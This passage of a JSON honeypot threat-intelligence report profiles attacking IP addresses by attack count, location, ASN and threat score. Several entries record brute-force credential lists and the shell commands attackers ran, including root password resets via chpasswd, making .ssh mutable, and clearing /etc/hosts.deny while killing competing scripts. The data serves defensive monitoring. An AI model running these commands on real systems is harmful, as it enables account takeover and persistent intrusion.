        "first_seen_30d": "2026-05-20T04:33:43.596000+00:00",
        "last_seen_30d": "2026-05-20T05:03:10.727000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 52
      }
    },
    "2.27.36.16": {
      "attack_count": 118,
      "first_seen": "2026-05-12T11:18:51.827Z",
      "last_seen": "2026-05-12T11:36:40.027Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "amir",
        "ec2-user",
        "ftpuser",
        "guest",
        "jackson",
        "lighthouse",
        "mahsa",
        "monitor",
        "nexus",
        "subzero",
        "vncuser"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@123456.",
        "Mm12345",
        "Qq123321",
        "Secure123",
        "abcd1234@",
        "ec2-user@123",
        "ftp",
        "guest@123",
        "jackson",
        "lighthouse",
        "mahsa",
        "mohammad",
        "nexus",
        "pass1234",
        "qazwsx",
        "subzero"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:18:51.827000+00:00",
        "last_seen_30d": "2026-05-12T11:37:49.957000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 48
      }
    },
    "106.104.162.27": {
      "attack_count": 100,
      "first_seen": "2026-05-18T21:58:59.072Z",
      "last_seen": "2026-05-19T04:26:41.321Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 4780,
      "as_org": "Digital United Inc.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:58:59.072000+00:00",
        "last_seen_30d": "2026-05-19T04:27:41.595000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 50
      }
    },
    "103.191.63.248": {
      "attack_count": 98,
      "first_seen": "2026-05-24T12:29:37.234Z",
      "last_seen": "2026-05-24T13:32:51.451Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "debian",
        "fox",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "000000",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "deneme123",
        "fox",
        "test1",
        "user@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:6Xd49hqM8TEz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138115,
      "as_org": "PT Deneva",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:29:37.234000+00:00",
        "last_seen_30d": "2026-05-24T13:33:54.483000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 24
      }
    },
    "146.59.229.155": {
      "attack_count": 96,
      "first_seen": "2026-05-05T03:23:28.281Z",
      "last_seen": "2026-05-28T16:18:27.925Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:23:28.281000+00:00",
        "last_seen_30d": "2026-05-28T16:19:34.037000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "190.19.10.21": {
      "attack_count": 84,
      "first_seen": "2026-05-27T06:45:36.700Z",
      "last_seen": "2026-05-27T07:24:13.808Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "luca",
        "345gs5662d34",
        "root",
        "testuser"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwerty@12345",
        "luca"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"luca\\n5qqSYk7GnATj\\n5qqSYk7GnATj\\n\"|passwd",
        "echo -e \"luca\\n5qqSYk7GnATj\\n5qqSYk7GnATj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:45:36.700000+00:00",
        "last_seen_30d": "2026-05-27T07:25:18.450000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 13
      }
    },
    "104.155.42.140": {
      "attack_count": 73,
      "first_seen": "2026-05-28T10:14:52.849Z",
      "last_seen": "2026-05-28T10:15:32.975Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5694",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T06:40:17+00:00",
        "last_seen_30d": "2026-05-28T10:16:42.224000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 44,
        "Mailoney": 1
      }
    },
    "123.30.240.7": {
      "attack_count": 72,
      "first_seen": "2026-05-03T16:48:21.961Z",
      "last_seen": "2026-05-31T07:31:44.806Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:48:21.961000+00:00",
        "last_seen_30d": "2026-05-31T07:32:53.628000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "27.25.68.137": {
      "attack_count": 56,
      "first_seen": "2026-05-19T01:46:10.146Z",
      "last_seen": "2026-05-19T04:32:40.330Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:46:10.146000+00:00",
        "last_seen_30d": "2026-05-19T04:33:41.880000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 31
      }
    },
    "170.150.214.45": {
      "attack_count": 54,
      "first_seen": "2026-05-23T08:36:37.097Z",
      "last_seen": "2026-05-23T12:07:46.740Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nordestina",
      "asn": 265040,
      "as_org": "ALAN CHARLES ALVES LEITE LTDA",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:36:37.097000+00:00",
        "last_seen_30d": "2026-05-23T12:08:54.343000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 27
      }
    },
    "115.56.176.203": {
      "attack_count": 50,
      "first_seen": "2026-05-03T17:02:05.014Z",
      "last_seen": "2026-05-03T17:07:29.483Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:02:05.014000+00:00",
        "last_seen_30d": "2026-05-03T17:08:32.861000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.107.146": {
      "attack_count": 50,
      "first_seen": "2026-05-30T22:33:31.440Z",
      "last_seen": "2026-05-30T22:38:55.655Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T22:33:31.440000+00:00",
        "last_seen_30d": "2026-05-30T22:39:58.305000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "107.181.228.82": {
      "attack_count": 48,
      "first_seen": "2026-05-03T13:45:59.890Z",
      "last_seen": "2026-05-29T05:29:56.830Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ogden",
      "asn": 53850,
      "as_org": "GorillaServers, Inc.",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:45:59.890000+00:00",
        "last_seen_30d": "2026-05-29T05:31:00.936000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "124.29.194.117": {
      "attack_count": 46,
      "first_seen": "2026-05-03T02:19:05.165Z",
      "last_seen": "2026-05-03T02:24:03.579Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:19:05.165000+00:00",
        "last_seen_30d": "2026-05-03T02:25:08.471000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "164.92.176.43": {
      "attack_count": 41,
      "first_seen": "2026-05-27T02:39:28.232Z",
      "last_seen": "2026-05-27T02:40:44.090Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T02:39:28.232000+00:00",
        "last_seen_30d": "2026-05-27T02:41:52.199000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 30
      }
    },
    "130.185.222.46": {
      "attack_count": 36,
      "first_seen": "2026-05-09T10:43:18.573Z",
      "last_seen": "2026-05-13T16:31:48.953Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48917,
      "as_org": "Optinet Ltd",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T10:43:18.573000+00:00",
        "last_seen_30d": "2026-05-13T16:32:50.990000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "45.8.224.214": {
      "attack_count": 36,
      "first_seen": "2026-05-04T19:49:28.974Z",
      "last_seen": "2026-05-12T13:09:30.685Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 48254,
      "as_org": "20i Limited",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:49:28.974000+00:00",
        "last_seen_30d": "2026-05-12T13:10:38.665000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "217.156.65.251": {
      "attack_count": 30,
      "first_seen": "2026-05-11T07:02:46.715Z",
      "last_seen": "2026-05-28T06:57:38.617Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:02:46.715000+00:00",
        "last_seen_30d": "2026-05-28T06:58:47.990000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "176.65.132.50": {
      "attack_count": 28,
      "first_seen": "2026-05-05T22:13:39.793Z",
      "last_seen": "2026-05-07T07:57:29.204Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "AdminGPON",
        "user"
      ],
      "passwords_attempted": [
        "admin@123",
        "1234",
        "ALC#FGU"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:13:39.793000+00:00",
        "last_seen_30d": "2026-05-07T07:58:30.665000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 20
      }
    },
    "206.135.171.34": {
      "attack_count": 22,
      "first_seen": "2026-05-18T06:22:09.357Z",
      "last_seen": "2026-05-18T06:24:31.565Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T06:22:09.357000+00:00",
        "last_seen_30d": "2026-05-18T06:25:33.207000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "176.65.139.177": {
      "attack_count": 18,
      "first_seen": "2026-05-21T16:29:05.503Z",
      "last_seen": "2026-05-21T16:29:13.566Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "",
        "admin",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1000,
        "days_active_30d": 23,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T00:57:48.480000+00:00",
        "last_seen_30d": "2026-05-24T21:07:38.604000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 914,
        "Tanner": 36,
        "Dionaea": 25,
        "Cowrie": 18,
        "Honeytrap": 4,
        "Adbhoney": 3
      }
    },
    "210.177.143.61": {
      "attack_count": 17,
      "first_seen": "2026-05-08T20:01:33.802Z",
      "last_seen": "2026-05-08T20:01:40.347Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Tsuen Wan",
      "asn": 4515,
      "as_org": "PCCW IMS Ltd PCCW Business Internet Access",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T20:01:33+00:00",
        "last_seen_30d": "2026-05-08T20:02:44.361000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 13,
        "Honeytrap": 2
      }
    },
    "104.238.82.127": {
      "attack_count": 10,
      "first_seen": "2026-05-06T17:05:10.052Z",
      "last_seen": "2026-05-06T17:16:20.310Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:05:10.052000+00:00",
        "last_seen_30d": "2026-05-06T17:17:29.200000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "164.92.171.170": {
      "attack_count": 9,
      "first_seen": "2026-05-17T01:49:08.974Z",
      "last_seen": "2026-05-27T00:09:40.826Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 13.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 16,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
